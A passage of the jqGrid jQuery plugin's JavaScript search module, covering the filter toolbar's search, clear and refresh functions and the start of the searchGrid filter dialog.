$.jgrid.filterRefactor({ ruleGroup : ruleGroup, ssfield : ssfield, splitSelect : p.splitSelect, groupOpSelect : p.groupOpSelect }); //ruleGroup = JSON.stringify( filters ); } if(bbt) { if(!$.isPlainObject(filters)) { filters = $.jgrid.parse(ruleGroup); } if(filters.rules && filters.rules.length) { rules = filters.rules; for(k=0;k < rules.length; k++) { rule = rules[k]; if(rule.op === "bt") { ssdata = rule.data.split("..."); if(ssdata.length > 1) { if(filters.groups === undefined) { filters.groups = []; } group = { groupOp: 'AND', groups: [], rules: [] }; filters.groups.push(group); $.each(ssdata,function(l) { var btop = l === 0 ? 'ge' : 'le'; if(ssdata[l]) { group.rules.push({ data: ssdata[l], op: btop, field: rule.field}); } }); rules.splice(k, 1); k--; } } } } } if( msfield.length ) { filters = $.jgrid.filterRefactor({ ruleGroup : ruleGroup, ssfield : msfield, splitSelect : sop.splitSearchSeparator || ";", groupOpSelect : "OR" }); } if(bbt || ms || msfield.length) { ruleGroup = JSON.stringify( filters ); } if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('filterToolbar') && $t.p.searchModules.filterToolbar !== false ) { if(gi > 0) { $t.p.searchModules.filterToolbar = ruleGroup; } else { $t.p.searchModules.filterToolbar = null; } sd = true; $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); } else { $.extend($t.p.postData,{filters:ruleGroup}); } $.each(['searchField', 'searchString', 'searchOper'], function(i, n){ if($t.p.postData.hasOwnProperty(n)) { delete $t.p.postData[n];} }); } else { $.extend($t.p.postData,sdata); } var saveurl; if(p.url) { saveurl = $t.p.url; $($t).jqGrid("setGridParam", { url: p.url }); } var bsr = $($t).triggerHandler("jqGridToolbarBeforeSearch") === 'stop' ? true : false; if(!bsr && $.jgrid.isFunction(p.beforeSearch)){bsr = p.beforeSearch.call($t);} if(!bsr) { $($t).jqGrid("setGridParam",{search:sd}).trigger("reloadGrid",[ { page: currentPage } ] ); } if(saveurl) {$($t).jqGrid("setGridParam",{url:saveurl});} $($t).triggerHandler("jqGridToolbarAfterSearch"); if($.jgrid.isFunction(p.afterSearch)){p.afterSearch.call($t);} if($t.p.frozenColumns) { setToolbarFozenVal(afrcol,sopt,ssfield, arcustom ); } }, clearToolbar = function(trigger){ var sdata={}, so={}, j=0, nm, $elem, v; trigger = (typeof trigger !== 'boolean') ? true : trigger; $.each($t.p.colModel,function(){ $elem = $("#gs_"+$t.p.idPrefix+$.jgrid.jqID(this.name),(this.frozen===true && $t.p.frozenColumns === true) ? $t.grid.fhDiv : $t.grid.hDiv); if(this.searchoptions && this.searchoptions.defaultValue !== undefined) { v = this.searchoptions.defaultValue; } else { v = undefined; } nm = this.index || this.name; so[nm] = this.searchoptions && this.searchoptions.sopt ? this.searchoptions.sopt[0] : p.defaultSearch || 'eq'; switch (this.stype) { case 'select' : $elem.find("option").each(function (i){ if(i===0) { this.selected = true; } if ($(this).val() === v) { this.selected = true; return false; } }); if ( v !== undefined ) { // post the key and not the text sdata[nm] = v; j++; } else { try { delete $t.p.postData[nm]; } catch(e) {} } break; case 'text': $elem.val(v || ""); if(v !== undefined) { sdata[nm] = v; j++; } else { try { delete $t.p.postData[nm]; } catch (y){} } break; case 'custom': if ($.jgrid.isFunction(this.searchoptions.custom_value) && $elem.length > 0 ) { this.searchoptions.custom_value.call($t, $elem, "set", v || ""); } break; } }); var sd = j>0 ? true : false; $t.p.resetsearch = true; if(p.stringResult === true || $t.p.datatype === "local") { var ruleGroup = "{\"groupOp\":\"" + p.groupOp + "\",\"rules\":["; var gi=0; $.each(sdata,function(i,n){ if (gi > 0) {ruleGroup += ",";} ruleGroup += "{\"field\":\"" + i + "\","; ruleGroup += "\"op\":\"" + so[i] + "\","; n+=""; ruleGroup += "\"data\":\"" + n.replace(/\\/g,'\\\\').replace(/\"/g,'\\"') + "\"}"; gi++; if(p.searchOperators) { $elem = $("#gs_"+$t.p.idPrefix+$.jgrid.jqID(i),(this.frozen===true && $t.p.frozenColumns === true) ? $t.grid.fhDiv : $t.grid.hDiv); $elem.parents("table.ui-search-table").find("td.ui-search-oper").children("a").attr("soper", so[i]).html(p.operands[so[i]]); } }); ruleGroup += "]}"; if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('filterToolbar') && $t.p.searchModules.filterToolbar !== false ) { if(gi > 0) { $t.p.searchModules.filterToolbar = ruleGroup; } else { $t.p.searchModules.filterToolbar = null; } sd = true; $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); } else { $.extend($t.p.postData,{filters:ruleGroup}); } $.each(['searchField', 'searchString', 'searchOper'], function(i, n){ if($t.p.postData.hasOwnProperty(n)) { delete $t.p.postData[n];} }); } else { $.extend($t.p.postData,sdata); } var saveurl; if(p.url) { saveurl = $t.p.url; $($t).jqGrid("setGridParam",{url:p.url}); } var bcv = $($t).triggerHandler("jqGridToolbarBeforeClear") === 'stop' ? true : false; if(!bcv && $.jgrid.isFunction(p.beforeClear)){bcv = p.beforeClear.call($t);} if(!bcv) { if(trigger) { $($t).jqGrid("setGridParam",{search:sd}).trigger("reloadGrid",[{page:1}]); } } if(saveurl) {$($t).jqGrid("setGridParam",{url:saveurl});} $($t).triggerHandler("jqGridToolbarAfterClear"); if($.jgrid.isFunction(p.afterClear)){p.afterClear();} }, toggleToolbar = function(){ var trow = $("tr.ui-search-toolbar",$t.grid.hDiv); if($t.p.frozenColumns === true) { $($t).jqGrid('destroyFrozenColumns'); } if(trow.css("display") === 'none') { trow.show(); } else { trow.hide(); } if($t.p.frozenColumns === true) { $($t).jqGrid("setFrozenColumns"); } }, buildRuleMenu = function( elem, left, top ){ $("#sopt_menu").remove(); left=parseInt(left,10); top=parseInt(top,10) + 18; var fs = $('.ui-jqgrid').css('font-size') || '11px', str = '<ul id="sopt_menu" class="ui-search-menu modal-content" role="menu" tabindex="0" style="font-size:'+fs+';left:'+left+'px;top:'+top+'px;">', selected = $(elem).attr("soper"), selclass, aoprs = [], ina, i, nm = $(elem).attr("colname"); i = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', nm, true); if( i === -1 ) { return; } var cm = $t.p.colModel[i], options = $.extend({}, cm.searchoptions); if(!options.sopt) { options.sopt = []; options.sopt[0]= cm.stype==='select' ? 'eq' : p.defaultSearch; } $.each(p.odata, function() { aoprs.push(this.oper); }); for ( i = 0 ; i < options.sopt.length; i++) { ina = $.inArray(options.sopt[i],aoprs); if(ina !== -1) { selclass = selected === p.odata[ina].oper ? common.highlight : ""; str += '<li class="ui-menu-item '+selclass+'" role="presentation"><a class="'+ common.cornerall+' g-menu-item" tabindex="0" role="menuitem" value="'+p.odata[ina].oper+'" oper="'+p.operands[p.odata[ina].oper]+'"><table class="ui-common-table"><tr><td class="opersign">'+p.operands[p.odata[ina].oper]+'</td><td>'+ p.odata[ina].text+'</td></tr></table></a></li>'; } } str += "</ul>"; $('body').append(str); $("#sopt_menu").addClass("ui-menu " + classes.menu_widget); $("#sopt_menu > li > a").hover( function(){ $(this).addClass(common.hover); }, function(){ $(this).removeClass(common.hover); } ).click(function() { var v = $(this).attr("value"), oper = $(this).attr("oper"); $($t).triggerHandler("jqGridToolbarSelectOper", [v, oper, elem]); $("#sopt_menu").hide(); $(elem).text(oper).attr("soper",v); if(p.autosearch===true){ var inpelm = $(elem).parent().next().children()[0]; if( $(inpelm).val() || v==="nu" || v ==="nn" || $.inArray(v, unaryOpers) >=0) { triggerToolbar(); } } }); }, setToolbarFozenVal = function( ffields, soper, smultiselect, arcustom) { var orgCol = $(".ui-search-toolbar", $t.grid.hDiv), frozenCol = $(".ui-search-toolbar", $t.grid.fhDiv); $.each(ffields, function(i,n){ // multiselect // operations if(p.searchOperators) { var oper = soper[i]; if(oper) { $(".ui-search-table .ui-search-oper [colname='userId']", orgCol).attr({'soper': oper}).text( p.operands[oper]); $(".ui-search-table .ui-search-oper [colname='userId']", frozenCol).attr({'soper': oper}).text( p.operands[oper]); } } // custom element if( $.inArray(i, arcustom) > -1) { var col = $.jgrid.getElemByAttrVal( $t.p.colModel, 'name', i ); if ( col && col.searchoptions ) { var soptf = col.searchoptions || {}; if( $.jgrid.isFunction( soptf.custom_value ) ) { var $elem = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(i), $t.grid.fhDiv ), $elem2 = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(i), $t.grid.hDiv); soptf.custom_value.call($t, $elem, "set", n); soptf.custom_value.call($t, $elem2, "set", n); } } } else { $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(i), orgCol).val( n ); $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(i), frozenCol).val( n ); } }); }; // create the row var tr = $("<tr class='ui-search-toolbar' role='row'></tr>"), timeoutHnd, rules, filterobj; if( p.restoreFromFilters ) { if( $t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('filterToolbar') && $t.p.searchModules.filterToolbar !== false) { filterobj = $t.p.searchModules.filterToolbar; } else { filterobj = $t.p.postData.filters; } if(filterobj) { if( typeof filterobj === "string") { filterobj = $.jgrid.parse( filterobj ); } rules = (filterobj.rules && filterobj.rules.length) ? filterobj.rules : false; } } //p.disabledKeys = new Set(p.disabledKeys); // experimental var dKeys = new Set(p.disabledKeys); if(dKeys.size !== p.disabledKeys.length) { // ie11 for(var jj=0; jj< p.disabledKeys.length; jj++) { dKeys = new Set(); dKeys.add(p.disabledKeys[jj]); } } var filterLabel; if (regional.filterFor) { filterLabel = regional.filterFor; } if($t.p.colSpanHeader.length) { $($t).jqGrid('destroyColSpanHeader', false); } $.each($t.p.colModel,function(ci){ var cm=this, soptions, select="", sot="=", so, i, st, csv, df, elem, restores, th = $("<th role='columnheader' class='" + base.headerBox+" ui-th-"+$t.p.direction+" "+(cm.labelClasses || "")+"' id='gsh_" + $t.p.id + "_" + cm.name + "'></th>"), thd = $("<div><span aria-label=\"empty\" style=\"display: none;\">empty</span></div>"), stbl = $("<table class='ui-search-table' cellspacing='0'><tr><td class='ui-search-oper' headers=''></td><td class='ui-search-input' headers=''></td><td class='ui-search-clear' headers=''></td></tr></table>"); if(this.hidden===true) { $(th).css("display","none");} this.search = this.search === false ? false : true; if(this.stype === undefined) {this.stype='text';} this.searchoptions = this.searchoptions || {}; if(this.searchoptions.searchOperMenu === undefined) { this.searchoptions.searchOperMenu = true; } var title; if(filterLabel !== undefined){ title = filterLabel + " " + $t.p.colNames[ci]; } else { title = $t.p.colNames[ci]; } soptions = $.extend({},this.searchoptions , {name:cm.index || cm.name, id: "gs_"+$t.p.idPrefix+cm.name, oper:'search', title:title}); if(this.search){ if( p.restoreFromFilters && rules) { restores = false; for( var is = 0; is < rules.length; is++) { if(rules[is].field ) { var snm = cm.index || cm.name; if( snm === rules[is].field) { restores = rules[is]; break; } } } } if(p.searchOperators) { so = (soptions.sopt) ? soptions.sopt[0] : cm.stype==='select' ? 'eq' : p.defaultSearch; // overwrite search operators if( p.restoreFromFilters && restores) { so = restores.op; } for(i = 0;i<p.odata.length;i++) { if(p.odata[i].oper === so) { sot = p.operands[so] || ""; break; } } st = soptions.searchtitle != null ? soptions.searchtitle : p.operandTitle; select = this.searchoptions.searchOperMenu ? "<a title='"+st+"' soper='"+so+"' class='soptclass' colname='"+this.name+"'>"+sot+"</a>" : ""; } $("td",stbl).eq( 0 ).attr("columname", cm.name).append(select); if(soptions.clearSearch === undefined) { soptions.clearSearch = true; } if(soptions.clearSearch) { csv = p.resetTitle || 'Clear Search Value'; $("td",stbl).eq( 2 ).append("<a title='"+csv+"' tabindex='0' style='padding-right: 0.3em;padding-left: 0.3em;' class='clearsearchclass'>"+p.resetIcon+"</a>"); } else { $("td", stbl).eq( 2 ).hide(); } if(this.surl) { soptions.dataUrl = this.surl; } df=""; if(soptions.defaultValue ) { df = $.jgrid.isFunction(soptions.defaultValue) ? soptions.defaultValue.call($t) : soptions.defaultValue; } //overwrite default value if restore from filters if( p.restoreFromFilters && restores) { df = restores.data; } elem = $.jgrid.createEl.call($t, this.stype, soptions , df, false, $.extend({},$.jgrid.ajaxOptions, $t.p.ajaxSelectOptions || {})); if( this.stype !== 'custom') { if(this.stype==='select') { $(elem).addClass( classes.srSelect ); } else { $(elem).addClass( classes.srInput ); } } $("td",stbl).eq( 1 ).append(elem); $(thd).append(stbl); if(soptions.dataEvents == null ) { soptions.dataEvents = []; } switch (this.stype) { case "select": if(p.autosearch === true) { soptions.dataEvents.push({ type : "change", fn : function() { triggerToolbar(); return false; } }); } break; case "text": case "custom": if(p.autosearch===true){ if(p.searchOnEnter) { soptions.dataEvents.push({ type: "keypress", fn : function(e) { var key = e.charCode || e.keyCode || 0; if(key === 13){ e.preventDefault(); triggerToolbar(); return false; } return this; } }); } else { soptions.dataEvents.push({ type: "keydown", fn : function(e) { var key = e.which; if( dKeys.has(key)) { // do nothing } else if( key === 13 ) { e.preventDefault(); return false; } else { if(timeoutHnd) { clearTimeout(timeoutHnd); } timeoutHnd = setTimeout(function(){triggerToolbar();}, p.autosearchDelay); } } }); } } break; } $.jgrid.bindEv.call($t, elem , soptions); } $(th).append(thd); $(tr).append(th); if(!p.searchOperators || select === "") { $("td",stbl).eq( 0 ).hide(); } }); $("table thead",$t.grid.hDiv).append(tr); if(p.searchOperators) { $(".soptclass",tr).click(function(e){ var offset = $(this).offset(), left = ( offset.left ), top = ( offset.top); buildRuleMenu(this, left, top ); e.stopPropagation(); }); $("body").on('click', function(e){ if(e.target.className !== "soptclass") { $("#sopt_menu").remove(); } }); } $(".clearsearchclass",tr).click(function() { var ptr = $(this).parents("tr").first(), colname = $("td.ui-search-oper", ptr).attr('columname'), coli=0, soper = $("td.ui-search-oper a", ptr).attr('soper'), cm, vv; coli = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', colname, true); if(coli === -1 ) { return false; } cm = $t.p.colModel[coli]; var sval = $.extend( {}, cm.searchoptions || {} ), dval = sval.defaultValue ? sval.defaultValue : "", elem; if(cm.stype === "select") { elem = $("td.ui-search-input select", ptr); if(dval) { elem.val( dval ); } else { elem[0].selectedIndex = 0; } } else { elem = $("td.ui-search-input input", ptr); elem.val( dval ); } $($t).triggerHandler("jqGridToolbarClearVal",[elem[0], coli, sval, dval]); if($.jgrid.isFunction(p.onClearSearchValue)) { p.onClearSearchValue.call($t, elem[0], coli, sval, dval); } var operText = ""; if(soper==="nu" || soper==="nn" || $.inArray(soper, unaryOpers) >=0) { vv = sval.sopt ? sval.sopt[0] : cm.stype === "select" ? "eq" : p.defaultSearch; operText = $t.p.customFilterDef != null && $t.p.customFilterDef[vv] != null ? $t.p.customFilterDef[vv].operand : p.operands[vv] || ""; if(vv === soper) { $("td.ui-search-oper a", ptr).attr('soper', 'dummy').text(operText); } else { $("td.ui-search-oper a", ptr).attr('soper',vv).text(operText); } } // ToDo custom search type if(p.autosearch===true){ triggerToolbar(); if(vv === soper) { $("td.ui-search-oper a", ptr).attr('soper',vv).text(operText); } } }); $(".clearsearchclass",tr).keydown(function(event) { if (event.keyCode === 13) { event.preventDefault(); $(".clearsearchclass", tr).trigger("click"); } }); $($t.grid.hDiv).on("scroll", function(e){ if(!$t.grid.hScroll) { $t.grid.bScroll = true; $t.grid.bDiv.scrollLeft = $t.grid.hDiv.scrollLeft; if($t.p.footerrow) { $t.grid.sDiv.scrollLeft = $t.grid.bDiv.scrollLeft; } if($t.p.headerrow) { $t.grid.hrDiv.scrollLeft = $t.grid.bDiv.scrollLeft; } } $t.grid.hScroll = false; }); if($t.p.colSpanHeader.length) { setTimeout(function() { $($t).jqGrid('setColSpanHeader');},0); } this.p.filterToolbar = true; this.triggerToolbar = triggerToolbar; this.clearToolbar = clearToolbar; this.toggleToolbar = toggleToolbar; }); }, destroyFilterToolbar: function () { return this.each(function () { if (!this.p.filterToolbar) { return; } this.triggerToolbar = null; this.clearToolbar = null; this.toggleToolbar = null; this.p.filterToolbar = false; $(this.grid.hDiv).find("table thead tr.ui-search-toolbar").remove(); }); }, refreshFilterToolbar : function ( p ) { p = $.extend(true, { filters : "", onClearVal : null, onSetVal : null }, p || {}); return this.each(function () { var $t = this, cm = $t.p.colModel, i, l = $t.p.colModel.length, params, searchitem, filters, rules, rule, ssfield =[], ia; // clear the values on toolbar. // do not call clearToolbar if(!$t.p.filterToolbar) { return; } params = $($t).data('filterToolbar'); for (i = 0; i < l; i++) { ssfield.push(cm[i].index || cm[i].name); searchitem = $("#gs_" +$t.p.idPrefix+ $.jgrid.jqID(cm[i].name)); switch (cm[i].stype) { case 'select' : case 'text' : searchitem.val(""); break; } if($.jgrid.isFunction(p.onClearVal)) { p.onClearVal.call($t, searchitem, cm[i].name); } } function setrules (filter) { if(filter && filter.rules) { // condition to exit rules = filter.rules; l = rules.length; for (i = 0; i < l; i++) { rule = rules[i]; ia = $.inArray(rule.field, ssfield); if( ia !== -1) { searchitem = $("#gs_" + $t.p.idPrefix + $.jgrid.jqID(cm[ia].name)); // problem for between operator if ( searchitem.length > 0) { if (cm[ia].stype === "select") { searchitem.find("option[value='" + $.jgrid.jqID(rule.data) + "']").prop('selected', true); } else if (cm[ia].stype === "text") { searchitem.val(rule.data); } if($.jgrid.isFunction(p.onSetVal)) { p.onSetVal.call($t, searchitem, cm[ia].name); } if( params && params.searchOperators) { var fsi = searchitem.parent().prev(); if( fsi.hasClass("ui-search-oper") ) { $(".soptclass", fsi ).attr("soper", rule.op); if(params.operands.hasOwnProperty(rule.op)) { $(".soptclass", fsi ).html( $.jgrid.stripScript( params.operands[rule.op] ) ); } } } } } } if(filter.groups) { for(var k=0;k<filter.groups.length;k++) { setrules(filter.groups[k]); } } } } if (typeof (p.filters) === "string") { if(p.filters.length) { filters = p.filters; // flat filters only } else if( $t.p.postData.hasOwnProperty("filters")) { filters = $t.p.postData.filters; } filters = $.jgrid.parse(filters); } if ($.isPlainObject(filters)) { setrules( filters ); } }); }, searchGrid : function (p) { var regional = $.jgrid.getRegional(this[0], 'search'); p = $.extend(true, { recreateFilter: false, drag: true, sField:'searchField', sValue:'searchString', sOper: 'searchOper', sFilter: 'filters', loadDefaults: true, // this options activates loading of default filters from grid's postData for Multipe Search only. beforeShowSearch: null, afterShowSearch : null, onInitializeSearch: null, afterRedraw : null, afterChange: null, sortStrategy: null, closeAfterSearch : false, closeAfterReset: false, closeOnEscape : false, searchOnEnter : false, multipleSearch : false, multipleGroup : false, //cloneSearchRowOnAdd: true, top : 0, left: 0, jqModal : true, modal: false, resize : true, width: 450, height: 'auto', dataheight: 'auto', showQuery: false, errorcheck : true, sopt: null, stringResult: undefined, onClose : null, onSearch : null, onReset : null, toTop : true, overlay : 30, columns : [], tmplNames : null, tmplFilters : null, tmplLabel : ' Template: ', showOnLoad: false, layer: null, splitSelect : ",", groupOpSelect : "OR", operands : { "eq" :"=", "ne":"<>","lt":"<","le":"<=","gt":">","ge":">=","bw":"LIKE","bn":"NOT LIKE","in":"IN","ni":"NOT IN","ew":"LIKE","en":"NOT LIKE","cn":"LIKE","nc":"NOT LIKE","nu":"IS NULL","nn":"ISNOT NULL"}, buttons :[] }, regional, p || {}); return this.each(function() { var $t = this; if(!$t.grid) {return;} var fid = "fbox_"+$t.p.id, showFrm = true, mustReload = true, IDs = {themodal:'searchmod'+fid,modalhead:'searchhd'+fid,modalcontent:'searchcnt'+fid, scrollelm : fid}, defaultFilters,// = ($.isPlainObject($t.p._savedFilter) && !$.isEmptyObject($t.p._savedFilter ) ) ? $t.p._savedFilter : $t.p.postData[p.sFilter], fl, unaryOpers = [], classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].filter, common = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].common; p.styleUI = $t.p.styleUI; if($.isPlainObject($t.p._savedFilter) && !$.isEmptyObject($t.p._savedFilter )) { defaultFilters = $t.p._savedFilter; } else if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('searchGrid') && $t.p.searchModules.searchGrid !== false ) { $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); defaultFilters = $t.p.postData[p.sFilter]; } else { defaultFilters = $t.p.postData[p.sFilter]; } if(typeof defaultFilters === "string") { defaultFilters = $.jgrid.parse( defaultFilters ); } if(p.recreateFilter === true) { $("#"+$.jgrid.jqID(IDs.themodal)).remove(); } function showFilter(_filter) { showFrm = $($t).triggerHandler("jqGridFilterBeforeShow", [_filter]); if(showFrm === undefined) { showFrm = true; } if(showFrm && $.jgrid.isFunction(p.beforeShowSearch)) { showFrm = p.beforeShowSearch.call($t,_filter); } if(showFrm) { $.jgrid.viewModal("#"+$.jgrid.jqID(IDs.themodal),{gbox:"#gbox_"+$.jgrid.jqID( $t.p.id ),jqm:p.jqModal, modal:p.modal, overlay: p.overlay, toTop: p.toTop}); $($t).triggerHandler("jqGridFilterAfterShow", [_filter]); if($.jgrid.isFunction(p.afterShowSearch)) { p.afterShowSearch.call($t, _filter); } } } if ( $("#"+$.jgrid.jqID(IDs.themodal))[0] !== undefined ) { showFilter($("#fbox_"+$.jgrid.jqID( $t.p.id ))); } else { var fil = $("<div><div id='"+fid+"' class='searchFilter' style='overflow:auto'></div></div>").insertBefore("#gview_"+$.jgrid.jqID($t.p.id)), align = "left", butleft =""; if($t.p.direction === "rtl") { align = "right"; butleft = " style='text-align:left'"; fil.attr("dir","rtl"); } var columns = $.extend([],$t.p.colModel), bS ="<a id='"+fid+"_search' class='fm-button " + common.button + " fm-button-icon-right ui-search'><span class='" + common.icon_base + " " +classes.icon_search + "'></span>"+p.Find+"</a>", bC ="<a id='"+fid+"_reset' class='fm-button " + common.button +" fm-button-icon-left ui-reset'><span class='" + common.icon_base + " " +classes.icon_reset + "'></span>"+p.Reset+"</a>", bQ = "", tmpl="", colnm, found = false, bt, cmi=-1, ms = false, ssfield = []; if(p.showQuery) { bQ ="<a id='"+fid+"_query' class='fm-button " + common.button + " fm-button-icon-left'><span class='" + common.icon_base + " " +classes.icon_query + "'></span>Query</a>"; } var user_buttons = $.jgrid.buildButtons( p.buttons, bQ+ bS, common); // groupheaders names var groupH = null; if( $($t).jqGrid('isGroupHeaderOn') ) { var htable = $("table.ui-jqgrid-htable", $t.grid.hDiv), secRow = htable.find(".jqg-second-row-header"), gh_len = $t.p.groupHeader.length; // use the last set one if(secRow[0] !== undefined) { groupH = $t.p.groupHeader[gh_len-1]; } } if(!p.columns.length) { if(groupH !== null) { for(var ij=0;ij<columns.length; ij++){ var iCol = $.jgrid.inColumnHeader( columns[ij].name, groupH.groupHeaders); if(iCol>=0) { columns[ij].label = groupH.groupHeaders[iCol].titleText + "::" + $t.p.colNames[ij]; for(var jj= 1; jj<= groupH.groupHeaders[iCol].numberOfColumns-1; jj++) { columns[ij+jj].label = groupH.groupHeaders[iCol].titleText + "::"+$t.p.colNames[ij+jj]; } ij = ij+groupH.groupHeaders[iCol].numberOfColumns-1; } } } $.each(columns, function(i,n){ if(!n.label) { n.label = $t.p.colNames[i]; } // find first searchable column and set it if no default filter if(!found) { var searchable = (n.search === undefined) ? true: n.search , hidden = (n.hidden === true), ignoreHiding = (n.searchoptions && n.searchoptions.searchhidden === true); if ((ignoreHiding && searchable) || (searchable && !hidden)) { found = true; colnm = n.index || n.name; cmi =i; } } if( n.stype==="select" && n.searchoptions && n.searchoptions.multiple) { ms = true; ssfield.push( n.index || n.name ); } }); } else { columns = p.columns; cmi = 0; colnm = columns[0].index || columns[0].name; } // old behaviour if( (!defaultFilters && colnm) || p.multipleSearch === false ) { var cmop = "eq"; if(cmi >=0 && columns[cmi].searchoptions && columns[cmi].searchoptions.sopt) { cmop = columns[cmi].searchoptions.sopt[0]; } else if(p.sopt && p.sopt.length) { cmop = p.sopt[0]; } defaultFilters = {groupOp: "AND", rules: [{field: colnm, op: cmop, data: ""}]}; } found = false; if(p.tmplNames && p.tmplNames.length) { found = true; tmpl = "<tr><td class='ui-search-label'>"+ p.tmplLabel +"</td>"; tmpl += "<td><select size='1' name='select_template' class='ui-template " + classes.srSelect + "'>"; tmpl += "<option value='default'>Default</option>"; $.each(p.tmplNames, function(i,n){ tmpl += "<option value='"+i+"'>"+n+"</option>"; }); tmpl += "</select></td></tr>"; } if ($t.p.customFilterDef !== undefined) { for(var uskey in $t.p.customFilterDef) { if($t.p.customFilterDef.hasOwnProperty(uskey) && !p.operands.hasOwnProperty(uskey) ) { p.odata.push({ oper: uskey, text: $t.p.customFilterDef[uskey].text} ); p.operands[uskey] = $t.p.customFilterDef[uskey].operand; if($t.p.customFilterDef[uskey].unary === true) { unaryOpers.push(uskey); } } } } bt = "<table class='EditTable' style='border:0px none;margin-top:5px' id='"+fid+"_2'><tbody><tr><td colspan='2'><hr class='" + common.content + "' style='margin:1px'/></td></tr>"+tmpl+"<tr><td class='EditButton' style='text-align:"+align+"'>"+bC+"</td><td class='EditButton' "+butleft+">"+ user_buttons +"</td></tr></tbody></table>"; fid = $.jgrid.jqID( fid); $("#"+fid).jqFilter({ columns: columns, sortStrategy: p.sortStrategy, filter: p.loadDefaults ? defaultFilters : null, showQuery: p.showQuery, errorcheck : p.errorcheck, sopt: p.sopt, groupButton : p.multipleGroup, ruleButtons : p.multipleSearch, uniqueSearchFields : p.uniqueSearchFields, afterRedraw : p.afterRedraw, ops : p.odata, operands : p.operands, ajaxSelectOptions: $t.p.ajaxSelectOptions, groupOps: p.groupOps, addsubgrup : p.addsubgrup, addrule : p.addrule, delgroup : p.delgroup, delrule : p.delrule, autoencode : $t.p.autoencode, unaryOperations : unaryOpers, onChange : function() { if(this.p.showQuery) { $('.query',this).text(this.toUserFriendlyString()); } if ($.jgrid.isFunction(p.afterChange)) { p.afterChange.call($t, $("#"+fid), p); } }, direction : $t.p.direction, id: $t.p.id }); fil.append( bt ); $("#"+fid+"_2").find("[data-index]").each(function(){ var index = parseInt($(this).attr('data-index'),10); if(index >=0 ) { $(this).on('click', function(e) { p.buttons[index].click.call($t, $("#"+fid), p, e); }); } }); if(found && p.tmplFilters && p.tmplFilters.length) { $(".ui-template", fil).on('change', function(){ var curtempl = $(this).val(); if(curtempl==="default") { $("#"+fid).jqFilter('addFilter', defaultFilters); } else { $("#"+fid).jqFilter('addFilter', p.tmplFilters[parseInt(curtempl,10)]); } return false; }); } if(p.multipleGroup === true) {p.multipleSearch = true;} $($t).triggerHandler("jqGridFilterInitialize", [$("#"+fid)]); if($.jgrid.isFunction(p.onInitializeSearch) ) { p.onInitializeSearch.call($t, $("#"+fid)); } p.gbox = "#gbox_"+$.jgrid.jqID($t.p.id);//fid; var fs = $('.ui-jqgrid').css('font-size') || '11px'; if (p.layer) { $.jgrid.createModal(IDs ,fil,p,"#gview_"+$.jgrid.jqID($t.p.id),$("#gbox_"+$.jgrid.jqID($t.p.id))[0], (typeof p.layer ==="string" ? "#"+$.jgrid.jqID(p.layer) : p.layer), (typeof p.layer ==="string" ? {position: "relative", "font-size":fs} :{ "font-size":fs} ) ); } else { $.jgrid.createModal(IDs ,fil,p,"#gview_"+$.jgrid.jqID($t.p.id),$("#gbox_"+$.jgrid.jqID($t.p.id))[0], null, { "font-size":fs}); } if (p.searchOnEnter || p.closeOnEscape) { $("#"+$.jgrid.jqID(IDs.themodal)).keydown(function (e) { var $target = $(e.target); if (p.searchOnEnter && e.which === 13 && // 13 === $.ui.keyCode.ENTER !$target.hasClass('add-group') && !$target.hasClass('add-rule') && !$target.hasClass('delete-group') && !$target.hasClass('delete-rule') && (!$target.hasClass("fm-button") || !$target.is("[id$=_query]"))) { e.preventDefault(); $("#"+fid+"_search").click(); return false; } if (p.closeOnEscape && e.which === 27) { // 27 === $.ui.keyCode.ESCAPE $("#"+$.jgrid.jqID(IDs.modalhead)).find(".ui-jqdialog-titlebar-close").click(); return false; } }); } if(bQ) { $("#"+fid+"_query").on('click', function(){ $(".queryresult", fil).toggle(); return false; }); } if (p.stringResult===undefined) { // to provide backward compatibility, inferring stringResult value from multipleSearch p.stringResult = p.multipleSearch; } $("#"+fid+"_search").on('click', function(){ var sdata={}, filters; fl = $("#"+fid); fl.find(".input-elm:focus").change(); if( ms && p.multipleSearch) { $t.p._savedFilter = {}; filters = $.jgrid.filterRefactor({ ruleGroup: $.extend(true, {}, fl.jqFilter('filterData')), ssfield : ssfield, splitSelect : p.splitSelect, groupOpSelect : p.groupOpSelect }); $t.p._savedFilter = $.extend(true, {}, fl.jqFilter('filterData')); } else { filters = fl.jqFilter('filterData'); } if(p.errorcheck) { fl[0].hideError(); if(!p.showQuery) {fl.jqFilter('toSQLString');} if(fl[0].p.error) { fl[0].showError(); return false; } } if(p.stringResult) { sdata[p.sFilter] = JSON.stringify( filters ); $.each([p.sField,p.sValue, p.sOper], function() {sdata[this] = "";}); } else { if(p.multipleSearch) { sdata[p.sFilter] = filters; $.each([p.sField,p.sValue, p.sOper], function() {sdata[this] = "";}); } else { sdata[p.sField] = filters.rules[0].field; sdata[p.sValue] = filters.rules[0].data; sdata[p.sOper] = filters.rules[0].op; sdata[p.sFilter] = ""; } } if(typeof sdata[p.sFilter] !== "string") { sdata[p.sFilter] = JSON.stringify( sdata[p.sFilter] ); } $t.p.search = true; if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('searchGrid') && $t.p.searchModules.searchGrid !== false && p.multipleSearch) { if(sdata[p.sFilter] !== "") { $t.p.searchModules.searchGrid = sdata[p.sFilter]; } else { $t.p.searchModules.searchGrid = null; } $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); } else { $.extend($t.p.postData,sdata); } mustReload = $($t).triggerHandler("jqGridFilterSearch"); if( mustReload === undefined) { mustReload = true; } if(mustReload && $.jgrid.isFunction(p.onSearch) ) { mustReload = p.onSearch.call($t, $t.p.filters); } if (mustReload !== false) { 